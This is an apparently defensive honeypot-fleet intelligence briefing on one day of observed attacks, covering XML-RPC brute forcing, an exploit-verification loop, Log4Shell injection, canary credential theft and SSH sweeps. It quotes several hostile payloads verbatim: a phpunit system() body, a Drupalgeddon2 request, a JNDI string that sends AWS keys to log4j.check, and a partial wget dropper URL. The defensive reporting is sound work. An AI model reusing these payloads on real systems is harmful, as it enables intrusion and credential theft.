FLUX FLEET — INTEL BRIEFING №65

Period: 2026-10-27 07:34 – 2026-10-28 07:34 UTC (24h, day 63 of operations)
Sources: 8 honeypot nodes (frantech-ts also runs non-flux ssh/telnet honeypots whose condensed feed lands in /data/hp-logs and is NOT part of this report) — canary-farm-1 (EU-hot), ai-devbox-1 (EU), control-1 (differential baseline), ru-edge-1 (Russia), lauterbourg-01-ts (Nextcloud/php2shell TLS profile, rebuilt 10-23 15:06Z), netcup-ts + sponge-01-ts + frantech-ts (deception-only, no canaries)
Network layer: Arkime on spark (the fleet's own pcap sensors) — step 3c, the only view of sweeps that never request a path
Confidence: High (direct observation, 63-day baseline, mint and use sides verified against Tracebit alert logs; hostile bodies quoted verbatim where captured). Times quoted as stored digits; the +4 h ingest cast applies (see Fleet Observations).

BLUF

XMLRPC-BRUTE returned fleet-wide under two new operators: 8.137.104.136 (Hangzhou Alibaba CN) fired 14,438 system.multicall POSTs at canary-farm-1 and was still running at window close, while 34.67.167.4 (Google LLC US) replayed №63's exact 9,807-POST / 7,861-distinct-body / Chrome/89 run on ai-devbox-1 — together 24,245 credential-checking POSTs that drove the farm +638% and ai-devbox-1 +626% volume spikes. A new 13.5-hour RCE battery (⚠ CALC-ORACLE-KIT, 152.236.14.113, Latitude.sh CA) looped four exploit families — phpunit eval-stdin, Drupalgeddon2, wp-file-manager upload, and the node's php2shell surface — against lauterbourg-01-ts with one shared arithmetic compute oracle and collected zero credentials. TechTies (93.152.221.96) ran a fourth consecutive window (43,046 events, 364 mints, hoard now 1,091 over 6 days) with its Log4Shell identity-field injection riding along (425 events — the entire XFF single-entry forgery count). The mint→use funnel stayed flat at the top of a record supply: 454 credentials to 27 collectors, zero AWS use for the fourth cycle in five. MEGA-DICT missed its first window since the 24th replay (frantech-ts −84%), and GO-SPRAY-SWEEP re-crossed the network-layer dispersed threshold (41 → 172 source IPs).

Key Judgements

1. XMLRPC-BRUTE is a rented template operating on schedule, and this window had two renters. 34.67.167.4 reproduced №63's 136.70.193.85 run exactly — 9,807 POSTs, 7,861 distinct bodies, forged Chrome/89 — while 8.137.104.136 ran a heavier Chrome/78 variant (14,712 distinct bodies) from Alibaba CN on a different sensor. One template, rotating Google-US and Alibaba-CN egress. (High confidence on the events — digest plus per-IP queries; Moderate on the shared-crew reading — identical artifact counts prove shared tooling, not shared operators.)
2. The shared CREDSWEEP wordlist is now a circulating commodity. Four organizations ran the same directory-fanout walk in one window: TechTies (DE), SI-CENSUS (VPS Dedicated SI), a new MEVSPACE operator (194.180.49.41, BG), and Tc Datacenter (45.138.12.16, LT, all 8 sensors). (High confidence on the co-occurrence — identical path sequences and per-run pscan- markers; Moderate on commodity vs. shared procurement — the distribution mechanism is unobserved.)
3. The rebuilt lauterbourg PHP surface now draws sustained exploitation, not census alone. CALC-ORACLE-KIT looped four RCE families at ~275 events/h for 13.5 h, five days after the rebuild; every family hit a decoy or trap answer and the operator minted nothing. The node's design held, and it is baiting the right class of actor. (High confidence on events and outcomes; Moderate on follow-on — no payload drop observed yet.)
4. The credential supply sits at a record with no demand signal. TechTies's hoard grew to 1,091 over 6 days (fleet record), 454 new credentials went to 27 collectors, and no canary reached AWS — the fourth zero-use cycle in five. Hold-for-resale and slow consumption look identical from outside; first use remains the fleet's largest pending theft-to-use event. (High on the zero — the alert pull covers the window; Moderate on the interpretation.)

Active Campaigns (day 63 status)

XMLRPC-BRUTE (system.multicall POST floods to /xmlrpc.php) ⟳ — FLEET RETURN, TWO OPERATORS — Hostile, active

• Actors: 8.137.104.136 (Hangzhou Alibaba Advertising CN) on canary-farm-1; 34.67.167.4 (Google LLC US) on ai-devbox-1. №63's operator was 136.70.193.85 (Google LLC US) — the fleet has now hosted three operator IPs in three appearances, two of them Google US.
• TTPs: 34.67.167.4 fired 9,807 POSTs in 36 minutes (04:47–05:23 stored) on 5 paths, 7,861 distinct bodies, forged Chrome/89 — the exact body count and UA of №63's run. 8.137.104.136 fired 15,055 events / 14,438 xmlrpc POSTs on 6 paths from 05:50 to window close (still running), 14,712 distinct bodies, forged Chrome/78. Bodies (quoted verbatim, head): <?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>\n<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name… — credential-checking multicalls against the fake WordPress. All preflights answered 200 by the decoy.
• Assessment: the campaign's ninth and tenth operator runs confirm a scheduled credential-stuffing service rather than a lone actor. The fake WP fed both runs 200s at full flood; nothing leaked. Watch the farm burst's total in the next digest (it was mid-run at close), a third operator IP, and any body-count growth beyond 14,712.

CALC-ORACLE-KIT (multi-family RCE-verify loop with an arithmetic oracle) ⚠ NEW — Hostile, active

• Actors: 152.236.14.113 (Latitude.sh CA), single IP; light legs of 8 events total on ai-devbox-1, sponge-01-ts, netcup-ts, canary-farm-1.
• TTPs: lauterbourg-01-ts 16:38 → 06:10 stored (13.5 h, ~275 events/h, 3,727 events / 7 paths). Four families share one arithmetic compute oracle — the response tells the operator whether system() executed: phpunit eval-stdin ×921 across both paths, body (verbatim) <?= system('echo $((40836*49255))');?>; Drupalgeddon2 /user/register ×477, body (verbatim) form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=system&mail[#type]=markup&mail[#markup]=uname%20-m%3B%20echo%20%24%28%2810351%2A48551%29%29; wp-file-manager connector.minimal.php multipart upload ×478 (boundary wf100fthlq341ie, filename ww6aism2wj51s.php, body head <?php s… — webshell-class); php2shell root+index ×1,400 against the CVE-2026-109618 surface itself, plus /admin form profiling ×451. 0 mints, 0 credential paths.
• Assessment: a verification-first intruder probing for live command execution, not credentials — the first multi-family RCE campaign on the rebuilt node. The fake php2shell runtime, tarpit, and decoy form answers fed every stage. Whether any oracle returned an execution-true answer is the single most important open question on this node (see Gaps). Watch: a payload drop after a verify, a second IP, and lauterbourg legs growing.

TECHTIES-KIT (census-to-kit escalation on the shared .env wordlist) ⟳ — FOURTH WINDOW — Hostile, active

• Actors: 93.152.221.96 (TechTies Inc. DE, ipsum-clean) — again the sole operator, no rotation across 4 windows.
• TTPs: repeated walk cycles on canary-farm-1 (24,905 ev / 3,868 POSTs, 04:54–18:58 stored), ru-edge-1 (14,771 / 1,225), control-1 (3,370 / 368, 11:21–21:34) — 43,046 events / 5,461 POSTs total. Same kit shape as №64: tarpit → pscan-<hash> marker → /.env [minted] → 20+ directory .env fanout → phpMyAdmin → phpunit → Tomcat → credential files; this window added a full wp-config.* variant walk (/wp-config.bak, .orig, .php.txt, .old, .swo, .swp, .dist, .save, .php-, .backup, .php~, .bac — the kill-chain journey) on all three sensors. JNDI-FIELD-INJECT ×425 rode along. 364 mints (hoard 1,091/6d).
• Assessment: the kit runs daily, rotates nothing, and hoards everything the fleet feeds it. The wordlist refresh first seen №64 (.env.save.*, /mgmt/tm/util/bash, /django_settings.py) is now common property (see CREDSWEEP). Watch AWS use of the 1,091, a second TechTies IP, and a payload stage after the phpunit probes.

JNDI-FIELD-INJECT (Log4Shell strings in clientIp + X-Forwarded-For) ⟳ — THIRD RUN — Hostile, active

• Actors: 93.152.221.96 (TechTies) on every row — the injection rides inside the TECHTIES-KIT walk. №60's operator (Amazon US /24) absent again.
• TTPs: 425 events (farm 268, ru-edge 128, control 29), 04:58–21:22 stored, GET / with clientIp and X-Forwarded-For set to ${jndi:ldap://${env:AWS_ACCESS_KEY_ID}.log4j.check/exploit} (and the AWS_SECRET_ACCESS_KEY variant), UA Go-http-client/1.1, socketPeer 93.152.221.96 throughout. The XFF single-entry forgery counter's 425 is entirely this campaign — second consecutive mass-sighting window (normal ≈ 0).
• Assessment: same payload, same target (AWS env vars), second operator on record. log4j.check callbacks stay unobservable in this pipeline (no DNS view); the domain remains a live IOC. A side effect is now measurable: the identity-field junk caused 112 php-filter-tracebit-http-error rejections on the mint path (Fleet Observations).

CREDENTIAL-DRAIN (mint → use pipeline) ⟳ — FOURTH ZERO-USE CYCLE IN FIVE — Hostile, active

• Actors: mint side 454 credentials to 27 collector IPs (digest issued semantics: 667 rows — farm 326 from 13 IPs, ru-edge 240 from 7, control 89 from 7, aidev 12 from 12). Use side: none observed.
• TTPs: no AWS activity tied to fleet canaries. Standing inventory per the Tracebit pull: TechTies 93.152.221.96 now 1,091 (6d) after +364; SI-CENSUS 102.220.163.241 66 (6d) after +57; AI-EXEC-HUNT piles unchanged (136.65.203.248 and 136.66.182.42, 41 each); 213.209.159.175 22; 213.209.159.154 20; 140.245.97.208 10 (minted on 4 sensors this window under a Chrome/39 forgery); ADMINER-SWARM pool 6 (1 per IP). Mint failures 56×400 — root-caused in Fleet Observations.
• Assessment: the two largest piles in fleet history (TechTies 1,091; the two 41-credential AI-EXEC-HUNT piles) have never touched AWS. Either the buyers are slow or the goods are brokered elsewhere. Any alert against these piles in the next pull is the story.

WP-FORM-BRUTE (distributed wp-login form brute) ⟳ — OVERLAP RE-SHOW + NEW WALKER LAYER — Hostile, active

• Actors: 121.40.140.50 (Hangzhou Alibaba CN) — digest rows only; last event 05:17 stored, inside №64's window, so the 2,442 re-listed POSTs are the window-overlap quirk, not new activity. New: a 20+ IP Chrome/127.0.0.0 walker layer plus the returning enum pool.
• TTPs: new cluster 0d2aa6aee590 (first seen 10-28): 5 IPs / 30 events on canary-farm-1, control-1, netcup-ts, sponge-01-ts — alternating /wp-login.php probe → credential POST, 1–2 events per IP; the broader layer runs the same shape at 1–2 events per IP from 19:53 stored 10-27. The ⟳ enum cluster eee552d8955a returned: 1,650 events / 6 IPs, and its forged Chrome/127.0.0.0 Win64 pool ran 21-event wp-user-enum-rest walks from 9 IPs (91.90.216.159, 131.153.203.225, 120.48.142.55, 47.108.131.1, 117.72.168.90, 43.161.244.154, 67.205.34.167, 208.109.33.98, 87.106.98.224).
• Assessment: the numeric-enum leg is gone (or paused); the fleet-wide distributed layer keeps growing IPs while shrinking per-IP volume — classic noise-floor brute economics. The fake WordPress and fake REST index answered everything. Watch the walker layer's IP count (alarm at 200 pairs stands) and any xmlrpc coordination on the same sensors.

REGISTRY-HUNT / LeakIX (l9scan template) ⟳ — LOW VOLUME — Hostile, active

• Actors: no runner wave this window. 165.22.34.189 ran the full 12-step walk on canary-farm-1 (tarpit → WebLogic console → server-status → Confluence → WHM/cPanel proxy → docker-registry enum, 27 events).
• TTPs: l9scan-UA mints, 1 each: 138.68.144.227 (farm), 159.89.174.87 (control), 146.190.242.161 (aidev); 45.138.12.51 minted under its honest l9explore/1.2.2 UA.
• Assessment: the collector walked lightly instead of waving — the evening mint schedule did not repeat. The 4 fresh l9scan credentials are next-use candidates. Watch lauterbourg legs (absent this window) and the mint disposition.

Light watchers

• SI-CENSUS (102.220.163.241, VPS Dedicated LLC SI) — escalated from light pass to the window's #2 mint collector on the refreshed wordlist: farm 1,097 ev / 544 paths, ru-edge 515, aidev 515, control 81 (2,208 across 4 sensors), 57 mints (66/6d), forged Chrome/126. Third window, each bigger than the last.
• CREDSWEEP class, new operators — 194.180.49.41 (MEVSPACE sp. z o.o. BG): full 511-path directory-fanout walk on aidev, ru-edge, control (514 ev each, forged Chrome/126, ~20-minute staggered legs 22:58–02:10 stored), 1 mint. 45.138.12.16 (Tc Datacenter LT): the block's fourth window, now an all-8-sensor walk (803 ev) with mints. The shared wordlist is the artifact; the operators rotate.
• ADMINER-SWARM — the 173.239.214.x pool back on aidev+ru-edge+farm trios (28 crossnode rows, 17–42 ev/IP), 6 mints at 1 per IP. WP-FORM-BRUTE economics on the adminer surface continue.
• 140.245.97.208 (Oracle US) — fourth window; minted on 4 sensors (4 total, 10/6d) under the block's Chrome/39 forgery.
• 8.217.152.4 (Alibaba) — first sighting; minted on ru-edge + farm under a Safari/17.3.1 forgery.
• 46.151.178.15 — 6-sensor light walk, mints (8/6d). 93.152.209.6 (Omniline BG) — 40-family config census on farm, 1 mint (5/6d). 165.227.102.187 (DigitalOcean) — 2 mints (7/6d). 213.209.159.154 (Feo Prest) — 2 mints on control (20/6d). 185.177.72.9 (Bucklog FR) — gravitysmtp + env walk with 3 mint 400s (3/6d).
• 188.166.247.29 (DigitalOcean SG) — 518 events / 217 paths in one minute on frantech-ts (01:33 stored), Go-http-client/1.1; drove the node's webshell-probe 11.1× spike. Single-burst census; watch for a repeat.
• Benign fixed-cadence probers — 93.174.93.12 (7 sensors, 387 ev), 89.248.172.33 (7 sensors, 376), 45.198.224.125 (8 sensors, 72), 34.140.3.155 (7 sensors, 25), 192.236.202.11 (6 sensors, 47). Honest UAs, shallow journeys; research class.
• New tooling names — zenox-opendir-discovery/1.0 (sponge) and Mozilla/5.0 (compatible; symfony-scanner) (farm) first-seen; a forged Chrome/155 also appeared. sponge's first-seen cgi-bin path embeds a dropper URL: …wget … http://193.32.162.163/bins/kla.sh … — a new staging-host candidate visible from the flux side; correlate by payload, not IP.

Standing actors (persistence check)

• 93.152.221.96 (TechTies) — fourth consecutive window: 525 ev / 8 mints (№63) → 48,329 / 714 (№64) → 43,046 / 364 (№65). Volume plateaued at kit scale; the hoard is the trend that matters.
• SI-CENSUS / 102.220.163.241 — third window: 13 ev / 3 mints (№64) → 2,208 / 57 (№65). Fastest escalation of the census class on record.
• 45.138.12.x (Tc Datacenter LT) — fourth window; .16 turned the block's loitering into a full-fleet walk.
• REGISTRY-HUNT runners (DigitalOcean pool) — present every window on record; volume down this cycle.
• 140.245.97.208 (Oracle US) — fourth window, minting in all of the last three.
• GO-SSH-SWEEP / GO-SCATTER-SWEEP / GO-SPRAY-SWEEP / LIBSSH-MASSSWEEP (network layer) — all present; GO-SPRAY-SWEEP re-crossed the dispersed threshold. See recon.

Absent or paused

MEGA-DICT (first miss since the №64 24th replay — frantech-ts −84% to 1,427 ev), Bochum softsec crawler 185.73.23.x (fifth window), AI-CLI-VAULT (third), AI-ADMIN-SWEEP (third), EXCHANGE-DICT, ADMINER-SWARM absent→returned (see watchers), KEYDROP-SCANS, CLOUDCONF-CENSUS, METADATA-HUNT named runners, NIGHTAGENT, MALWARE-DICT (.18 loop), MALWARE-DICT-2, BUCKLOG-KIT RCE arm (census arm present), SES-QUOTA-PROBE (seventh), WEBSIPHON, CLAUDE-CRED-HUNT, CENSUS-284, CF-FRONTED CREDSWEEP, OMEGA-SWEEP census operators, AI-EXEC-HUNT (second idle), ANDROXGH0ST-KIT, lauterbourg wp-login numeric enum (121.40.140.50 — no new POSTs, overlap re-show only).

Network-layer recon (Arkime) — 2026-10-27 07:34:00 → 2026-10-28 07:35:01 UTC

Fingerprint field ssh.hassh, destination port 22 · 161,849 inbound sessions · fleet IPs: ai-devbox-1 217.15.163.226, canary-farm-1 109.123.246.142, control-1 38.54.2.209, frantech-ts 209.141.62.110, lauterbourg-01-ts 89.116.25.211, netcup-ts 159.195.21.150, ru-edge-1 130.94.89.46, sponge-01-ts 89.167.72.144

Session tags: honeypot 96,400, bahrain-sponge-01-ts 58,196, sensor:bahrain-sponge-01-ts 58,196, contabo-sponge-02-ts 29,447, proxy 29,447, sensor:contabo-sponge-02-ts 29,447

Flagged sweeps (3) — one fingerprint, many networks, single port, no authentication attempted:

• f555226df1963d1d3c09daf865abdc9a — client banner ssh-2.0-libssh_0.9.6, 5,770 sessions from 661 source IPs across 275 networks in 72 countries, port 22, avg 4,916 B/session. Networks: AS135377 UCLOUD INFORMATION TECHNOLOGY HK LIMITED, AS8075 Microsoft Corporation, AS16276 OVH SAS, AS31898 Oracle Corporation, AS4766 Korea Telecom. Busiest sources: 197.5.145.150, 50.6.205.60, 187.141.71.166, 220.118.173.234, 87.106.65.144. Last 7 days: 10-22 314 IPs, 10-23 443 IPs, 10-24 617 IPs, 10-25 579 IPs, 10-26 599 IPs, 10-27 653 IPs, 10-28 225 IPs.
• 06ff3615a51b2af343ec22abc8e30bbc — client banner ssh-2.0-go, 20,867 sessions from 172 source IPs across 72 networks in 31 countries, port 22, avg 5,103 B/session. Networks: AS37963 Hangzhou Alibaba Advertising Co.,Ltd., AS16276 OVH SAS, AS9808 China Mobile Communications Group Co., Ltd., AS7552 Viettel Group, AS4837 CHINA UNICOM China169 Backbone. Busiest sources: 185.100.85.48, 92.205.165.71, 78.36.6.173, 81.26.132.70, 41.75.123.75. Last 7 days: 10-15 39 IPs, 10-19 165 IPs, 10-20 8 IPs, 10-21 70 IPs, 10-26 41 IPs, 10-27 183 IPs, 10-28 117 IPs.
• 16443846184eafde36765c9bab2f4397 — client banner ssh-2.0-go, 16,018 sessions from 55 source IPs across 21 networks in 16 countries, port 22, avg 5,708 B/session. Networks: AS205089 Alfahost LLC, AS12876 Scaleway S.a.s., AS24961 WIIT AG, AS51852 Private Layer INC, AS48090 Techoff Srv Limited. Busiest sources: 163.172.71.202, 51.15.21.86, 89.163.140.136, 77.239.124.78, 77.239.124.66. Last 7 days: 10-22 33 IPs, 10-23 33 IPs, 10-24 39 IPs, 10-25 35 IPs, 10-26 29 IPs, 10-27 47 IPs, 10-28 33 IPs.

Thresholds: dispersed = ≥50 source IPs and ≥20 networks on one port; mass = ≥200 source IPs. Fingerprint identity, never source IP: sweep operators rotate addresses and keep the tool.

Recon reading. GO-SPRAY-SWEEP (06ff3615…) re-crossed the dispersed threshold: 41 → 172 source IPs / 72 networks, +20,867 sessions — its largest day on record (peak 192 IPs) and its first multi-IP expansion since the 10-27 re-widening began; Hangzhou Alibaba (AS37963) tops its network list, the same ASN as farm's xmlrpc operator — noted, not claimed as linkage. GO-SCATTER-SWEEP (16443846…) crossed too: 32 → 55 IPs (+16,018 sessions). LIBSSH-MASSSWEEP (f555226d…) widened 602 → 661 IPs / 275 networks, day 39. Two sweeps crossing dispersed in one window is a first for this cycle. GO-SSH-SWEEP (0a07365c…) held distributed at 28,794 sessions / 52 IPs, and its honeypot-side kin ran again (the uname survey's 109.160.32.44 with 1,308+1,307 command events; 77.239.124.x in GO-SCATTER's busiest sources). Unnamed but heavy: 4e066189c3bb… 32,342 sessions on control-1 (15 days standing, second consecutive window above 30k), 98ddc5604ef6… 2,976 (+1,102 day-over-day, 15 days), 98f63c4d9c87… 4,327 (+200). Session-tag drift continues: the bahrain-sponge-01-ts tag (58,196) equals control-1's destination-IP count and contabo-sponge-02-ts (29,447) equals canary-farm-1's — the tags disagree with the destinations; the per-node table (by destination IP) is authoritative.

Canary credentials

Summary

No canary credentials were used in AWS during the window. Fleet sensors minted 454 credentials to 27 collector IPs; none reached AWS.

Mint → use funnel

Per collector (evidence for attribution prose — join each IP against ip-journey and the campaign registry):

Persistent collectors with no observed AWS use (candidates for hoard/resale/untraced use — check prior briefings for named campaigns):

• 93.152.221.96: 1091 mints, 2026-10-21 23:57 → 2026-10-27 21:29
• 102.220.163.241: 66 mints, 2026-10-25 09:28 → 2026-10-27 19:35
• 136.65.203.248: 41 mints, 2026-10-26 19:00 → 2026-10-26 19:00
• 136.66.182.42: 41 mints, 2026-10-24 05:03 → 2026-10-24 05:03
• 213.209.159.175: 22 mints, 2026-10-21 05:59 → 2026-10-23 15:04
• 213.209.159.154: 20 mints, 2026-10-21 19:49 → 2026-10-27 11:08
• 140.245.97.208: 10 mints, 2026-10-21 05:57 → 2026-10-28 00:54
• 143.244.165.105: 9 mints, 2026-10-21 18:02 → 2026-10-23 21:39
• 46.151.178.15: 8 mints, 2026-10-25 17:05 → 2026-10-28 03:15
• 165.227.102.187: 7 mints, 2026-10-21 16:37 → 2026-10-27 03:24
• 37.60.226.187: 7 mints, 2026-10-21 08:52 → 2026-10-21 21:45
• 169.150.196.6: 6 mints, 2026-10-25 03:05 → 2026-10-25 03:29
• 195.178.110.22: 6 mints, 2026-10-24 06:41 → 2026-10-24 06:53
• 208.84.100.218: 6 mints, 2026-10-21 03:34 → 2026-10-26 03:41
• 217.60.198.111: 6 mints, 2026-10-21 03:45 → 2026-10-21 03:54
• 105.112.190.152: 5 mints, 2026-10-26 06:26 → 2026-10-26 07:47
• 217.60.76.167: 5 mints, 2026-10-24 07:47 → 2026-10-26 20:44
• 45.138.12.51: 5 mints, 2026-10-22 02:04 → 2026-10-27 20:02
• 45.148.10.171: 5 mints, 2026-10-21 16:14 → 2026-10-22 00:53
• 93.152.209.6: 5 mints, 2026-10-22 02:01 → 2026-10-27 11:26
• 134.209.25.199: 4 mints, 2026-10-23 18:47 → 2026-10-26 21:06
• 138.68.144.227: 4 mints, 2026-10-22 21:03 → 2026-10-27 20:56
• 159.26.101.138: 4 mints, 2026-10-23 16:04 → 2026-10-23 16:21
• 206.81.24.74: 4 mints, 2026-10-21 20:01 → 2026-10-25 21:04
• 45.148.10.125: 4 mints, 2026-10-23 01:44 → 2026-10-23 04:39
• 91.92.240.86: 4 mints, 2026-10-25 13:52 → 2026-10-25 21:58
• 130.12.180.77: 3 mints, 2026-10-27 06:26 → 2026-10-27 06:29
• 146.70.98.138: 3 mints, 2026-10-24 20:46 → 2026-10-25 20:51
• 157.245.113.227: 3 mints, 2026-10-23 18:48 → 2026-10-24 20:05
• 185.177.72.9: 3 mints, 2026-10-23 13:14 → 2026-10-23 13:14
• 23.239.27.128: 3 mints, 2026-10-27 11:54 → 2026-10-27 17:27
• 45.148.10.5: 3 mints, 2026-10-22 00:28 → 2026-10-25 02:19
• 46.101.1.225: 3 mints, 2026-10-24 04:32 → 2026-10-26 21:46
• 64.89.163.14: 3 mints, 2026-10-21 08:34 → 2026-10-21 10:53
• 72.167.41.202: 3 mints, 2026-10-21 17:47 → 2026-10-21 18:25

Reading. Supply keeps setting records and demand stays at zero. TechTies's pile grew by 364 to 1,091 over 6 days — the largest hostile-held inventory in fleet history, ahead of every named hoard combined. SI-CENSUS's 57-mint day moved it to second place at 66. The l9scan runners and the ADMINER pool collected singles. Fourth zero-use cycle in five; the first AWS alert against any of these piles will be the fleet's largest theft-to-use event.

Fleet Observations

• Fleet volumes and causes. canary-farm-1 +638% (45,508 ev / 529 uniq): XMLRPC-BRUTE 14,443 + TechTies 24,905 + their tarpit loops (tarpit-module 18,386). ai-devbox-1 +626% (13,852 / 390): the 9,815-event xmlrpc run is 9,815 of the 13,852 — 71% of the node's window. ru-edge-1 +5% (17,670 / 170): TechTies 14,771 + tarpit 11,130 — heavy but at baseline. control-1 +20% (5,138 / 112): TechTies's control leg. frantech-ts −84% (1,427 / 65): MEGA-DICT's 13,776 replay absent; remaining volume is tarpit, the 188.166.247.29 one-minute census, and honeypot background. lauterbourg-01-ts −10% (7,336 / 148): the numeric wp-login flood did not return (its digest rows are overlap re-shows); CALC-ORACLE-KIT's 3,727 replaced it. netcup-ts −18% (2,812) and sponge-01-ts −50% (1,379): the df15d0ee3ccf wp-login legs were absent; remaining volume is tarpit, the Chrome/127 enum pool, and phpunit probes.
• Canary economics. 667 digest issued rows (farm 326 from 13 IPs, ru-edge 240 from 7, control 89 from 7, aidev 12 from 12) against the funnel's 454 minted credentials to 27 collectors — the standing count-semantics gap, unchanged. Failures jumped to 56×400 (farm 27, ru-edge 14, aidev 11, control 4) and root-cause cleanly: TechTies's flood pacing drew upstream 400 rejections on 24 /.env mint calls, its 425 JNDI identity-field GETs caused 112 php-filter-tracebit-http-error rejections at the PHP filter (tag spike php-filter-tracebit-http-error 78 farm / 34 ru-edge — inf, all 93.152.221.96), and the remaining ~20 are scattered singles across 15 other IPs. No 401s, no key errors, no bursts from any other actor. All mints aws type. lauterbourg-01-ts: 0, expected (keyless by design).
• Attribution posture. XFF single-entry forgery 425 — 100% TECHTIES-KIT's JNDI injection; the socketPeer pivot held on every row, so attribution never depended on the forged fields. Any-XFF 2,615; multi-entry chains 0; XFF-present-but-ignored 480. TLS split: lauterbourg 111 of 7,336 events on https (1.5%); canary-farm-1 707 of 45,508; ai-devbox-1 892. Host census: the raw-IP vhosts dominate again (farm 109.123.246.142 44,500; lauterbourg 89.116.25.211 7,129) — №64's crawler wave on cloud.wafflehouseindex.us passed, and sso.rightabouteverything.show took 986 on farm. Class unfamiliar vhost traffic as crawler-first before reading it as hostile (№64's rule stands even in a quiet week).
• Control discovery velocity. Day 45 of the fresh-IP baseline: 5,138 events / 112 unique IPs — unique-IP discovery under the 7-day average (127) for the second consecutive cycle (130 → 112). Volume swung +20% on TechTies's control leg. The ramp metric to track stays unique IPs/day; a third under-average day would be a trend, two is not.
• Digest quirks in play. The window-overlap quirk re-listed №64's lauterbourg numeric flood (121.40.140.50, 2,442 rows, last ts 05:17 stored — entirely inside №64's window) in this digest's top talkers and lauterbourg counts; cross-checked before counting, no new POSTs occurred. №63's xmlrpc burst did NOT re-list this time — both window behaviors are sync-arrival effects, not new activity. The first-seen table again showed whole sync batches under one arrival timestamp (03:16:23 stored across six sensors) — arrival times, not observation times.
• Fleet-side fixes. None this cycle — no node, config, or pipeline changes. Dashboard maintenance: CHAINS updated for 11 campaigns (XMLRPC-BRUTE and MEGA-DICT status changes included), CALC-ORACLE-KIT chain added, TALKER_CAMPAIGNS +16.

SSH/telnet honeypot (frantech-ts — single sensor, not fleet-wide)

• Funnel. 757 sources sent credentials → 578 got a shell (76%) → 502 ran a command (87% of shell-getters, 66% of sources). Event level: 8,110 credential attempts → 4,335 accepted logins → 13,179 commands (304% of accepted logins led to commands). Telnet took 543 attempts. The per-login conversion held at the last two cycles' level — operators keep working the box after entry.
• New commands. None — 0 of 6,854 distinct commands were first-seens this window. Twentieth consecutive mature-inventory window; a first-seen here remains the single post-compromise signal to watch.
• Recurring (context, not news). The uname/CPU hardware survey ran from 109.160.32.44 and siblings (2,615 command events) — the GO-SSH-SWEEP-linked 109.160.32.x pool. The SSH-persistence pair (cd ~; chattr -ia .ssh; lockr -ia .ssh, then an authorized_keys append) ran from 466 and 394 IPs — commodity botnet baseline. A GPU-inventory quartet (lspci | grep VGA…, uptime -p, uname variants) ran from 103.159.2.113 and 6 siblings (1,058 events) — crypto-targeting reconnaissance, recurring but from a NEW source block (№64's was 209.99.190.186); two survey crews now rotate.
• Credentials. 2,726 distinct pairs offered, 0 new. Concentration: the 345gs5662d34 family took 1,737 of 8,110 attempts (934 as user 345gs5662d34 + 803 as root against 3245gs5662d34).

C2 / payload endpoints (frantech-ts ssh+telnet honeypot)

Single sensor (one host), not a fleet number. Built from the raw honeypot sources — session transcripts, honeypot.log, and the capture vault — because the condensed /data/hp-logs/ feed truncates commands at 160 characters and drops any dropper line whose URL sits past that offset.

Summary

• inventory: 71 endpoints on 20 hosts, 2363 command references and 576 download attempts since 2026-09-18T10:45
• served payloads: 20 distinct artifacts over HTTP 2xx from 6 hosts (146.190.102.83, 152.42.195.115, 176.65.132.7, 176.65.139.157, 176.65.139.40, 185.228.72.128)
• this window: 3 endpoints first seen, 17 active; 28 endpoints seen in the last 7 days remain current
• inventory generated 2026-10-28T07:25:28Z

New this window

Endpoints active this window

Payload artifacts (HTTP 2xx, captured)

Host != actor: a staging host can also be the operator's login source (176.65.139.40 authenticates 1,224 times). Correlate on payload sha256 and script text, not on the IP.

Reading. No new served payloads this window — the three new endpoints (147.79.62.90/cat.sh, 147.79.62.90/$U, https://217.60.102.5/sh) all returned 0 2xx, so their bodies are uncaptured and their families unnamed. 217.60.102.5 sits in the LIBREDTAIL staging /16 — adjacency noted, lineage unproven. The №64 kit hosts stayed active: 152.42.195.115 served its 4-arch ELF set through 10-27 14:57 (the t2r/w1 host 146.190.102.83 went quiet after 00:54 10-27). Separately, sponge-01-ts's flux-side first-seen cgi-bin path embeds a dropper URL at 193.32.162.163 (/bins/kla.sh, /bins/__iot_netgear_*) — a staging-host candidate outside the honeypot inventory; correlate by payload sha256 if it serves.

Gaps / Next Collection

1. AWS side of the 1,091. TechTies's hoard is the largest hostile-held inventory on record. Pull Tracebit alerts past this window's close before №66 — first use lands there, and it will be the fleet's largest theft-to-use event.
2. CALC-ORACLE-KIT outcome. The 13.5-h loop asked "did system() run?" 1,849 times (phpunit + Drupalgeddon2 oracle bodies). Whether any oracle ever returned a true answer is unobserved — check lauterbourg's sink for the php2shell/upload surfaces' response bodies and bodySha256 on the 478 multipart uploads, and treat any post-loop payload drop from 152.236.14.113 as confirmed compromise of the decoy.
3. XMLRPC-BRUTE cadence. 8.137.104.136's farm burst was still running at window close — the next digest carries its full size. Watch the №63 pattern (burst then stop), a third operator IP, and whether the Chrome/78 variant's 14,712-body list grows.
4. log4j.check telemetry. Third window with the JNDI payload live; the pipeline has no DNS view. Any sinkhole or passive-DNS source that can observe callbacks would close this gap; treat the domain as a live IOC either way.
5. Unnamed heavy fingerprints. 4e066189c3bb… (32,342 sessions on control-1, 15 days, second consecutive 30k+ window) and 98ddc5604ef6… (+1,102 day-over-day) — register on a threshold crossing or a repeat at scale.
6. Shared-wordlist lineage. Four orgs ran the same directory-fanout walk this window (TechTies, SI-CENSUS, MEVSPACE, Tc Datacenter). Diff the refreshed-wordlist first-seens across the four to test shared-artifact drift, and watch for a fifth buyer.
7. New staging hosts. 193.32.162.163 (flux-side kla.sh URL), 147.79.62.90, 217.60.102.5 (honeypot-side, 0 2xx) — correlate by payload sha256, not IP; any 2xx from these will name three families.

Visuals: /data/flux-logs/reports/flux-fleet-visuals-2026-10-28.html
Plain language: /data/flux-logs/reports/flux-fleet-intel-briefing-plain-2026-10-28.md